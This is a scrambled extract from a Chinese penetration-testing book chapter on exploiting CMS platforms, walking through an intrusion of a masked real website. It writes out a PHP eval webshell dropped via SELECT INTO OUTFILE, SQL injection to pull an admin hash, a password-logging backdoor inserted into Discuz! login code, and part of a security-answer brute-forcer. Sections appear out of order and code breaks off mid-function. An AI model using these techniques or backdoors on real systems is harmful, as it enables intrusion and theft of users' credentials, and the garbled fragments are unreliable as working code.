当前位置:
文档之家› Web服务器渗透实战 第7章
Web服务器渗透实战 第7章
第七章 CMS常见漏洞及利用
2. 查看服务信息 通过查看服务器信息, 发现服务器其开启了Fastcgi, 系统架构为Windows Server 2008 + IIS7 + PHP,该服务 器可能存在解析漏洞,通过 admin个人资料上传一句话 后门图片文件,然后访问地 址: http://www.********.com/up load_files/icon/1.jpg/1.php。 网页显示正常,通过中国菜 刀一句话后门成功获取 Webshell,如图7-10所示。TP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR')) {
$onlineip = getenv('HTTP_X_FORWARDED_FOR'); } elseif(getenv('REMOTE_ADDR')) {
第七章 CMS常见漏洞及利用
第七章 CMS常见漏洞及利用
第一节 由视频系统SQL注入到服务器权限 第二节 Discuz! 论坛密码记录以及安全验证问题暴力破解 第三节 利用PHPcms后台漏洞渗透某网站 第四节 杰瑞CMS后台管理员权限获取Webshell 第五节 TinyShop缓存文件获取 Webshell 0day分析 第六节 基于ThinkPHP的2个CMS后台getshell利用 第七节 DedeCMS系统渗透思路及漏洞利用 第八节 Shopex4.85后台获取Webshell
5. 获取管理员密码 通过破解0e8c338ca961a1da946cc6a2802fc1ee获取管理员admin的密码 “xdjzh”,使用该密码进行后台登录,并查看服务器信息,在浏览器中打开地址 http://www.********.com/admin/index.php?lfj = center&job = phpinfo,如图7-8所示,成功获 取网站的真实路径地址:D:/phpweb/video。
第七章 CMS常见漏洞及利用
2. 猜测会员账号密码 对会员账号aaaaaa进行密码猜测,其密码为aaaaaa,使用该密码进行登录,并在后台寻 找专题,添加一个专题。获取其专题地址:http://www.********.com/video/showsp.php?fid = 1&id = 12。 3. 获取管理员密码 构造SQL注入地址获取管理员密码,执行效果如图7-6所示。
第七章 CMS常见漏洞及利用
7.1.3 针对CMS系统寻找漏洞 通过扫描未能发现高危或者可供利用的漏洞,因此只能根据经验利用手动方式来寻找 漏洞。如图7-4所示,在目标网站底部发现有“Powered by qibosoft V1.0 Code © 2003-10 qibosoft”信息,可以确认该网站采用的是齐博的CMS,结合网站内容,可以判断为齐博视 频CMS系统,从互联网上去下载了一套齐博视频CMS系统到本地进行分析。
第七章 CMS常见漏洞及利用
7.1.5 获取Webshell 1. 执行SQL查询导出一句话后门 单击“系统功能”→“数据库工具”→“运行SQL语句代码”,在查询语句中执行以下 代码: select '<?php @eval($_POST[t]);?>' INTO OUTFILE 'D:/phpweb/video/stttt.php' 执行后,访问网站,网站提示不存在该文件,后续执行以下代码: select '<?php @eval($_POST[t]);?>' INTO OUTFILE 'D:/phpweb/video/upload_files/s.php' select '<?php @eval($_POST[t]);?>' INTO OUTFILE 'D:/phpweb/upload_files/icons/s.php' 执行后显示语句执行成功,如图7-9所示,但访问对应的地址均显示错误,无法获取 Webshell,判断可能是存在杀毒软件或者无写入权限。
第七章 CMS常见漏洞及利用
2. Discuz!X2.5-3.1 在Discuz!X2.5-3.1安装目录下的uc_client文件夹中找到client.php文件,在函数 “unction uc_user_login”中加入以下代码: //以下为密码记录程序代码 if(getenv('HTTP_CLIENT_IP')) {
echo "error:打开字典文件错误"; die;} while($buf = fgets($fd)){ for($i=1; $i<8; $i++) {
$tmp = substr(md5(trim($buf).md5($i)),16,8); $conn = strcmp($tmp,$argv[1]);
第七章 CMS常见漏洞及利用
4. 使用right函数获取剩余密码字段 虽然第一次获取了admin的密码“0e8c338ca961a1da946cc6a28”,但该密码位数不对, 获取密码位数为25,而真实密码使用的是md5加密,位数是32位,通过right(password,15)来 获取剩余的密码串,如图7-7所示,成功获取剩余字符串。
第七章 CMS常见漏洞及利用
7.2.3 Discuz!X2.5密码安全问题暴力破解 程序代码如下: <? /*discuz提示问题答案暴力破解程序。*/
第七章 CMS常见漏洞及利用
error_reporting(0); if($argc<2){ print_r(' -------------------------Usage: php cracksecques.php hash Example: php cracksecques.php ca9e47ea -------------------------'); die;} $fd = fopen("pass.dic",r); if(!$fd){
2. 反查域名 在/tools/web-sites-on-web-server/中对该IP地址进行域名反查, 如图7-2所示,获取该IP地址下有6个域名。
第七章 CMS常见漏洞及利用
7.1.2 扫描网站 使用Acunetix Web Vulnerability Scanner进行漏洞扫描,如图7-3所示。
第七章 CMS常见漏洞及利用
7.1.6 获取系统权限 1. 获取3389端口信息 2. 获取数据库密码 通过Webshell查看数据库配置文件D:/phpweb/video/data/mysql_config.php,该文件中定 义了主机、用户、密码及参数值。获取其MySQL密码为123456,同时还获取内网服务器 192.168.0.218的数据库密码信息,如图7-11所示。
第七章 CMS常见漏洞及利用
第一节 由视频系统SQL注入到服务器权限
第七章 CMS常见漏洞及利用
7.1.1 信息收集 1. 扫描端口 使用Zenmap对124.***.***.***进行全端口扫描,其扫描结果显示主机关闭,判断服务 器端应该有安全防护,使用“Intense scan,no ping”扫描方式,如图7-1所示。
第七章 CMS常见漏洞及利用
第二节 Discuz!论坛密码记录以及安全 验证问题暴力破解
第七章 CMS常见漏洞及利用
7.2.1 Discuz!论坛密码记录程序以及实现 1. Discuz!7.1-7.2论坛记录程序以及实现 在Discuz!7.2论坛中找到程序文件login.func.php,在其中加入以下代码: $ip = $_SERVER['REMOTE_ADDR']; $showtime = date("Y-m-d H:i:s"); $record = "<?exit();?>".$username." --------".$password." IP:".$ip."questionid".$questionid."answer". $answer." Time:".$showtime."\r\n"; $handle = fopen('./include/csslog.php','a+'); $write = fwrite($handle,$record); 密码记录和登录文件保存在include目录下的cssog.php文件中,打开csslog.php即可看到 获取的用户记录文件,如图7-13所示。
第七章 CMS常见漏洞及利用
2.密码问题设置和解除 密码登录安全提问是在用户注册成功后,通过再次设置“密码安全”来实现的,如图718所示,Discuz!默认设置了7个安全提问,用户只需要选择问题,然后设置问题的答案即 可,论坛最高管理员或者创始人可以直接将安全提问清除。设置以后用户登录时除了需要 输入用户名和密码外,还需要选择安全问题并输入问题答案,如图7-19所示。
7.1.4 取得突破 1. 获取注册会员信息 分别访问http://www.********.com/member/homepage.php?uid = 2和 http:// www.********. com/ member/homepage.php?uid = 1获取当前系统注册账号admin和 aaaaaa。如图7-5所示。
$onlineip = getenv('REMOTE_ADDR'); } else {
$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR']; } if(getenv('HTTP_CLIENT_IP')) {